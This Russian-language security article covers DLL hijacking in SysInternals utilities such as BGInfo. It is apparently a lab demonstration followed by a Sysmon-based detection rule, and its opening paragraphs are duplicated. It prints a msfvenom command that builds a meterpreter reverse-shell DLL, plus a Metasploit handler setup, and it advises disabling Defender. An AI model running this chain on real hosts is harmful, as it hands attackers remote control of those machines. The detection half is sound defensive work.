Многие администраторы и SOC-аналитики активно используют инструменты из набора SysInternals. Исследователь обнаружил, что большинство этих инструментов уязвимы к загрузке вредоносных DLL в память.
Для примера возьмем, BGinfo.exe, в оригинале статьи автор использует TextShaping.dll. Полный список уязвимых утилит доступен по ссылке.
На скриншоте выше видно, что процесс пытается загрузить TextShaping.dll в текущей рабочей директории.
Для эксперимента, отключаем Defender, включаем msfconsole, генерируем dll следующей командой.
Разместим созданную DLL со скачанным BGInfo в одной папке.
На атакующей машине создадим handler для meterpreter.
Двойным кликом нажимаем на Bginfo64.exe и получаем reverse shell.
Некорректно настроенные права на директории, где хранятся утилиты SysInternals, могут позволить злоумышленнику записать DLL, что может привести к повышению привилегий и компрометации хоста. На скриншоте ниже демонстрация запуска Bginfo из сетевого хранилища WebDAV - эксплуатация уязвимости закончилась успешно.
Будем обнаруживать на основе двух событий: запуск процесса и загрузка библиотеки в память.
В первой директиве event CreateProcess добавил условие, что продукт должен быть sysinternals, во второй директиве LoadLibrary - DLL должна быть расположена не в system32, ее название должно быть из списка импортируемых DLL.
Уязвимость DLL Hijacking в инструментах SysInternals представляет серьезную угрозу, так как позволяет злоумышленникам загружать вредоносные библиотеки. В заключение, важно не только понимать механизмы эксплуатации уязвимостей, но и активно внедрять эффективные методы их обнаружения. Регулярный аудит прав доступа к директориям, мониторинг запуска процессов и загрузки библиотек помогут минимизировать риски и повысить уровень защиты инфраструктуры.
Описание уязвимостей
Уязвимость связана с загрузкой DLL из текущего рабочего каталога (CWD) инструментами Sysinternals. Для эксплуатации необходимо разместить исполняемый файл и вредоносную DLL в одной директории.Для примера возьмем, BGinfo.exe, в оригинале статьи автор использует TextShaping.dll. Полный список уязвимых утилит доступен по ссылке.
На скриншоте выше видно, что процесс пытается загрузить TextShaping.dll в текущей рабочей директории.
Для эксперимента, отключаем Defender, включаем msfconsole, генерируем dll следующей командой.
Код:
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.10 lport=5555 -f dll > shell.dll
Разместим созданную DLL со скачанным BGInfo в одной папке.
На атакующей машине создадим handler для meterpreter.
Код:
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lport 5555
set lhost 192.168.0.10
run
Двойным кликом нажимаем на Bginfo64.exe и получаем reverse shell.
Некорректно настроенные права на директории, где хранятся утилиты SysInternals, могут позволить злоумышленнику записать DLL, что может привести к повышению привилегий и компрометации хоста. На скриншоте ниже демонстрация запуска Bginfo из сетевого хранилища WebDAV - эксплуатация уязвимости закончилась успешно.
Обнаружение атаки
Логику обнаружения напишем на языке XP.Будем обнаруживать на основе двух событий: запуск процесса и загрузка библиотеки в память.
Код:
event CreateProcess:
key:
event_src.host, object.process.id, object.process.path
filter {
filter::NotFromCorrelator()
and filter::ProcessStart_Windows_any()
and regex(lower(object.process.meta), "sysinternals", 0) != null
}
event LoadLibrary:
key:
event_src.host, subject.process.id, object.process.path
filter {
filter::NotFromCorrelator()
msgid == 7 and event_src.title == "sysmon"
and regex(lower(object.process.fullpath), "^\w:\\windows\\system32", 0) == null
and in_list(["textshaping.dll", "cryptbase.dll", "mpr.dll", "cryptsp.dll"], lower(object.process.name))
}
rule ExploitVulnSysinternals: CreateProcess -> LoadLibrary
В первой директиве event CreateProcess добавил условие, что продукт должен быть sysinternals, во второй директиве LoadLibrary - DLL должна быть расположена не в system32, ее название должно быть из списка импортируемых DLL.
Уязвимость DLL Hijacking в инструментах SysInternals представляет серьезную угрозу, так как позволяет злоумышленникам загружать вредоносные библиотеки. В заключение, важно не только понимать механизмы эксплуатации уязвимостей, но и активно внедрять эффективные методы их обнаружения. Регулярный аудит прав доступа к директориям, мониторинг запуска процессов и загрузки библиотек помогут минимизировать риски и повысить уровень защиты инфраструктуры.